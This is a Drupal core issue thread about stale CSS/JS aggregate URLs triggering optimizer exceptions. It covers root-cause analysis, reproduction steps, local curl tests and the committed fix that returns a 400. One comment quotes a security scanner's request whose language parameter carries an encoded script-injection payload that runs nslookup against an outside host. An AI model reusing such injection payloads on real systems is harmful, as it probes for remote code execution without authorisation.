Problem/Motivation

We started seeing a lot of errors in logs after a deployment which contained only the drupal core update (10.4.7 -> 11.2.2). The error is as follows:

Exception: Only file JavaScript assets can be optimized. in Drupal\Core\Asset\JsOptimizer->optimize() (line 31 of core/lib/Drupal/Core/Asset/JsOptimizer.php).
Drupal\Core\Asset\JsCollectionOptimizerLazy->optimizeGroup() (Line: 192)
Drupal\system\Controller\AssetControllerBase->deliver()
call_user_func_array() (Line: 123)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->Drupal\Core\EventSubscriber\{closure}() (Line: 622)
Drupal\Core\Render\Renderer->executeInRenderContext() (Line: 121)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->wrapControllerExecutionInRenderContext() (Line: 97)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->Drupal\Core\EventSubscriber\{closure}() (Line: 183)
Symfony\Component\HttpKernel\HttpKernel->handleRaw() (Line: 76)
Symfony\Component\HttpKernel\HttpKernel->handle() (Line: 53)https://git.drupalcode.org/project/drupal/-/merge_requests/12774.diff
Drupal\Core\StackMiddleware\Session->handle() (Line: 48)
Drupal\Core\StackMiddleware\KernelPreHandle->handle() (Line: 28)
Drupal\Core\StackMiddleware\ContentLength->handle() (Line: 32)
Drupal\big_pipe\StackMiddleware\ContentLength->handle() (Line: 48)
Drupal\Core\StackMiddleware\ReverseProxyMiddleware->handle() (Line: 51)
Drupal\Core\StackMiddleware\NegotiationMiddleware->handle() (Line: 53)
Drupal\Core\StackMiddleware\AjaxPageState->handle() (Line: 51)
Drupal\Core\StackMiddleware\StackedHttpKernel->handle() (Line: 715)
Drupal\Core\DrupalKernel->handle() (Line: 19)

The same can happen with CSS: Exception: Only file CSS assets can be optimized. in Drupal\Core\Asset\CssOptimizer->optimize() (line 43 of core/lib/Drupal/Core/Asset/CssOptimizer.php).

Most of these errors come from old aggregate URLs hitting Drupal. They can also come from cached HTML, a reverse proxy, or a crawler replaying a URL it saved long ago.

Root cause

delta is not an ID. It is a position in the list of asset groups that \Drupal\system\Controller\AssetControllerBase::deliver rebuilds on every request. The URL pins which libraries are requested, but their assets come from the current code, so when those change the groups move and the same delta points to a different group.

That list also holds groups that have no aggregate. preprocess: false files and type: external assets are never grouped with anything and are linked directly in the HTML, but they still take a position. So many valid delta values point to a group with no aggregate file. jQuery is a common example: core ships it as preprocess: false, so on a page that loads it delta=0 in the footer usually has no aggregate.

This only matters once the aggregate is gone from disk, since deliver() serves the file directly while it exists. drupal_flush_all_caches() deletes every aggregate, which is why the errors appear right after a deployment.

A stale delta is usually harmless. deliver() rebuilds the aggregate, redirects to the right filename, or rejects an unknown delta with a 400.

The unhandled case is a delta that lands on a group with no aggregate. There is nothing to build, and the redirect only points back at the same group, so the request ends up in optimizeGroup() and the optimizer throws. A 400 is the right answer instead. A code comment in JsOptimizer::optimize already states that files with preprocess set to FALSE "should never even enter this method", but nothing enforces it.

Note: No URL manipulation is needed for this to happen. The steps below change the delta by hand because that is the quickest way to reach this state, but in production it happens with old URLs that nobody modified.

Steps to reproduce

- Install drupal standard profile
- We need a library on the page that adds external JS/CSS, such as adding this to olivero.libraries.yml

external:
  js:
    http://example.com/script.js: { type: external }
  css:
    theme:
      http://example.com/stylesheet.css: { type: external }

And add it on all pages (e.g.: add olivero/external as dependency to global-styling)
- Now visit the homepage, take the aggregated CSS/JS URLs and manipulate both hash+delta at the same time until you hit the delta that corresponds to the type external group (inspecting $groups in \Drupal\system\Controller\AssetControllerBase::deliver with xdebug really helps to find the corresponding delta. Once we do, we get the error.).

e.g.: /sites/default/files/css/css_GkU_drE40ATj6jWoV_AI56l7jIAzJHB7dGmZAlm8XrA.css?delta=0&language=en&theme=olivero&include=eJxdyUEOAyEIQNELST0TKrGkDEzAarz9JJNmFt38xfsmPMktd7GCAjG2sPZkP1ac3HGwKQRV04a-n3naIqcGZUMRq59nBKHXNyi62_rXxY1S7Bh05IJBaTKtyHdfh7Wv0AUhgTot
Increment delta (try 1, 2, 3,...) and change what is after css_ every time (so we don't get the existing file on disk).

Note that a wrong hash does not throw on its own: deliver() returns a 301 to the correct filename for that group. Your browser follows it and the exception is thrown on that second request. With curl you need -L.

Proposed resolution

Make \Drupal\system\Controller\AssetControllerBase::deliver more resilient to such stale asset requests. We can check if $group['type'] !== 'file' || $group['preprocess'] === FALSE and return a 400 error (bad request). This essentially ensures the delta query param is valid, like other params are checked/validated.

Remaining tasks

- Review

User interface changes

None

Introduced terminology

None

API changes

None

Data model changes

None

Release notes snippet

None

Issue fork drupal-3536795

Command icon Show commands

Start within a Git clone of the project using the version control instructions.

Or, if you do not have SSH keys set up on git.drupalcode.org:

Comments

herved created an issue. See original summary.

herved’s picture

Issue summary: View changes
herved’s picture

Issue summary: View changes
herved’s picture

Opened MR
For context, I suspect we may have an infrastructure issue somewhere, possibly the reverse proxy serving stale pages.
Still, if that is the case, drupal should not fill the logs with errors. The changes here will log BadRequestHttpException warnings just like other invalid asset requests.

herved’s picture

Status: Active » Needs work

Tests and steps to reproduce still todo.
But any feedback is welcome.

herved’s picture

Issue summary: View changes
herved’s picture

Issue summary: View changes
herved’s picture

StatusFileSize
new4.75 KB

Static patch for composer.

joelpittet’s picture

@herved Thanks so much for jumping on this — I’m seeing the same thing in my logs, so really appreciate you taking this on!

RE The mention in the proposed solution

This would also cover #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled which is a consequence of the change in #3414173.

I wonder if it might be helpful to keep the scope of that one in its own issue, just to keep things a bit more focused? I realize they are related (because this JS one is where I copied from in #3414173: Add support for minified external CSS libraries) but painting them with the same brush is what brought us here in the first place.

herved’s picture

Hi @joelpittet, I know I combined 2 issues into 1 here, which may not be ideal, but they are tighly coupled.
In my understanding, considering this issue here, and the changes I propose, external files would and should never enter the ::optimizeGroup method. So does it really make sense to check for minified === TRUE && type === external in ::optimizeGroup as you proposed there? Meaning the condition is therefore not needed.

Thanks also for following up on this.

joelpittet’s picture

Thanks, @herved — you might be right here, especially since you probably have a better handle on the internals of ::optimizeGroup() than I do.

If you haven’t already, feel free to take a look at the test in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled — it might be helpful to reuse or adapt parts of it to confirm whether ::optimizeGroup() is actually called in these cases. Even just running the test on its own could help show the problem is fixed. That kind of check might make the expected behavior a bit clearer.

I’m still a bit cautious about collapsing the two issues, since that overlap is partly what got us into this situation. But if you feel strongly that they belong together, I won’t block it. I do think the targeted fix in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled should resolve the CSS side of things.

Really appreciate the work you’re doing here — you might end up solving a broader problem in the process! I’m just laser-focused on cleaning up the regression I introduced, and if I expand the scope too much, I’m afraid I’ll cause another one 😬

herved’s picture

Issue summary: View changes
StatusFileSize
new1.3 KB

It looks like #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled was committed recently.

I think all the code and tests added from both #3414173: Add support for minified external CSS libraries and #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled are not needed and could be reverted if we consider this change here. And so we could transfer these tests to the AssetControllerBase::deliver level.
For now I will only include here the minimal changes.

dewancodes’s picture

Hi @herved, I am experiencing the same issue after upgrading site Drupal 10 to Drupal 11.2. Thanks a lot for your great help on it.

joelpittet’s picture

@dewancodes Drupal 11.2.3 has #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled in it.

Can you confirm you are using that version? Also could you give more details on the asset causing this issue for you?

weseze’s picture

Today, we ran into this issue after deploying a Drupal 11.2.5 update, so it’s definitely still a problem.

We experienced this a few moments after deployment and only on very few requests — I would say less than 1 in 1 000.
Also, the reported user agents are mostly bots.
The more time passes after our deployment, the fewer of these errors we receive.

This led us to conclude that it was stale or cached HTML somewhere that was requesting aggregated CSS/JS assets that no longer exist.

These errors also occurred on websites that have no minimum cache time headers, nor any sort of external caching infrastructure in front of them. So we can rule out things like reverse proxies or misconfigured cache headers.

When inspecting the source of the pages that generate these errors, the referenced assets (aggregated file paths) do not exist in the source code at all. So again, we assume these errors are coming from stale or cached HTML pages from before our deployments.

UPDATE: I can also confirm that the applying the diff from #13 to D11.2.5 fixes the issue.

alexrayu’s picture

Have run into the same issue with etracker.js from event_tracking contrib module.

What happens is this: etracker.js as defined as preprocess:false, and is not minified. The asset handler correctly groups it into a separate group with preprocess:false setting. But then opimizer checks if it has "minified:true", and since it does not have that flag, force-sends it to optimize(), without checking the preprocess value. Optimize() sees that the asset doe snot have preproccess:true and raises an error.

This seems to be a logical bug in that the optimizer in optimizeGroup() should be checking for the "preprocess" value before sending an asset to optimize(), no? Because its already grouped separately at this point, there is no really a need to fail because of this? Or?

Best, Alexei.

herved’s picture

FWIW I did not test yet but it may be that this is now solved by #3416508: Skip generating aggregates that won't be used for stale asset requests.

Edit: I tried it, it does not fix my particular issue, this MR here does, I left a comment there, see #75

Version: 11.x-dev » main

Drupal core is now using the main branch as the primary development branch. New developments and disruptive changes should now be targeted to the main branch.

Read more in the announcement.

herved’s picture

Issue summary: View changes
herved’s picture

Status: Needs work » Needs review

I added tests and steps to reproduce.

herved’s picture

Issue summary: View changes
needs-review-queue-bot’s picture

Status: Needs review » Needs work
StatusFileSize
new549 bytes

The Needs Review Queue Bot tested this issue. It fails the Drupal core commit checks. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

herved’s picture

Status: Needs work » Needs review
smustgrave’s picture

Status: Needs review » Needs work

Left some comments on the MR

thanks.

herved’s picture

Status: Needs work » Needs review
needs-review-queue-bot’s picture

Status: Needs review » Needs work
StatusFileSize
new91 bytes

The Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

herved’s picture

Status: Needs work » Needs review
swirt’s picture

I tried applying the patch from Merge request !12774 and could not get it to apply to Drupal 11.3.12. It might be because the base branch is 38 commits behind ?

I am hoping this will resolve the whitescreen being thrown when jibberish is thrown at the route. My situation is that Invictiscan is hired to do security testing on a site that I work on. They keep calling out a 500 error when they throw the following request

/sites/default/files/css/css_hI1LTAYe_v1p87OvD6wknDNn2DrcZ5KLa_8Y4J22-jw.css?delta=3&include=eJxtzNEGwDAMBdAfCvmkSuOqkTT0jum-fvY49nw4nmwTF1dVqoeRu3UjxH8gQdoAvziiuoV4LeislRbHDeHmidT3egDyvCfq&language=%24%7bscript%3ajavascript%3ajava.lang.Runtime.getRuntime().exec(%27nslookup%204mkuor3ml4ahf9zqojpae9tlpbmvkvanxtqcmfqo%27%2b%27zcu.r87.me%27)%7d&theme=some_theme

They think they are catching some nefarious exploit path when really all they are finding is a place in drupal core where there is an uncaught exception resulting in a 500 response instead of 400 Bad request.

herved’s picture

@swirt Yes I had to rebase the MR due to recent changes in the main branch (tests only).
Please try patch #13 which I currently use myself and still applies cleanly to 11.3 (same code as the current MR, minus tests).

jesmaster’s picture

FYI the newest patch and the one on #13 do not apply on 11.4

herved’s picture

Issue summary: View changes

Updating the IS with "Root cause" section containing more detailed info.

herved’s picture

Issue summary: View changes
joelpittet’s picture

Status: Needs review » Reviewed & tested by the community

Gave this a manual test locally.
With the MR I got the 400

"The requested asset group is not aggregated."

Without the MR I see the 500

"Only file JavaScript assets with preprocessing enabled can be optimized."

and

"Only file CSS assets with preprocessing enabled can be optimized."

I specifically tested preprocess === FALSE by using default_admin/init and default_admin/admin_custom_css but with olivero instead of default_admin

If you want to play along at home: ddev and default_admin theme installed to be discoverable (active theme is olivero):

ddev drush cr
ACTIVE_THEME=$(ddev drush config:get system.theme default --format=string)
ddev exec curl -sS -L --max-redirs 5 \
  -G \
  -w '\nFinal status: %{http_code}\n' \
  --data-urlencode 'scope=header' \
  --data-urlencode 'delta=0' \
  --data-urlencode 'language=en' \
  --data-urlencode "theme=$ACTIVE_THEME" \
  --data-urlencode 'include=eJxLSU1LLM0piU9Myc3M08_MyywBAESNBzE' \
  'http://localhost/sites/default/files/js/js_manual3536795.js'
ddev drush cr
ddev exec curl -sS -L --max-redirs 5 \
  -G \
  -w '\nFinal status: %{http_code}\n' \
  --data-urlencode 'delta=0' \
  --data-urlencode 'language=en' \
  --data-urlencode "theme=$ACTIVE_THEME" \
  --data-urlencode 'include=eJxLSU1LLM0piU9Myc3M0weT8cmlxSX5ufHJxcUAuiEMKA' \
  'http://127.0.0.1/sites/default/files/css/css_manual3536795.css'
ioana apetri’s picture

StatusFileSize
new956 bytes

Patch rerolled for 11.4.4. Thank you!

needs-review-queue-bot’s picture

Status: Reviewed & tested by the community » Needs work
StatusFileSize
new91 bytes

The Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".

This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.

Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.

joelpittet’s picture

Status: Needs work » Reviewed & tested by the community

Rerolled, it was the lines in \Drupal\FunctionalTests\Asset\AssetOptimizationTest referring to $header_dependency_aggregates that was conflicting.

  • catch committed 10a46a4f on 11.x
    fix: #3536795 "Only file JavaScript/CSS assets can be optimized" errors...

  • catch committed 72e3f2f1 on main
    fix: #3536795 "Only file JavaScript/CSS assets can be optimized" errors...
catch’s picture

Version: main » 11.x-dev
Issue summary: View changes
Status: Reviewed & tested by the community » Fixed

The fix looks good. There's probably a bit of duplication between the functional test and the new kernel test, but it's not 1-1 and good to have the extra test coverage overall I think.

Committed/pushed to main and 11.x, thanks!

Now that this issue is closed, review the contribution record.

As a contributor, attribute any organization that helped you, or if you volunteered your own time.

Maintainers, credit people who helped resolve this issue.

firewaller’s picture

Attached is a rerolled patch for D10.6 if anybody needs it.

joelpittet’s picture

Thanks @catch for getting this in and for the patch for D10 @firewaller!

longwave’s picture

Version: 11.x-dev » 10.6.x-dev
Status: Fixed » Patch (to be ported)

If someone wants to open an MR and backport the patch including tests this is something that could still go into 10.6.

joelpittet’s picture

StatusFileSize
new8.9 KB

I did a quick check of the inter-ish-diff (see attached)

curl https://git.drupalcode.org/project/drupal/-/commit/10a46a4f4d46f2816edcbc9f6d0e5af1bdefa2ff.diff > 3536795-11.x.patch
curl https://git.drupalcode.org/project/drupal/-/merge_requests/16978.diff > 3536795-10.x.patch


diff 3536795-11.x.patch 3536795-10.x.patch

I hope that cuts the mustard, thanks @longwave for considering this for backport!

longwave’s picture

Status: Patch (to be ported) » Needs review
smustgrave’s picture

Status: Needs review » Reviewed & tested by the community

Seems like a good backport

  • longwave committed 82cfe784 on 10.6.x
    fix: #3536795 "Only file JavaScript/CSS assets can be optimized" errors...
longwave’s picture

Status: Reviewed & tested by the community » Fixed

Committed and pushed 82cfe78435c to 10.6.x. Thanks for the backport!

Now that this issue is closed, review the contribution record.

As a contributor, attribute any organization that helped you, or if you volunteered your own time.

Maintainers, credit people who helped resolve this issue.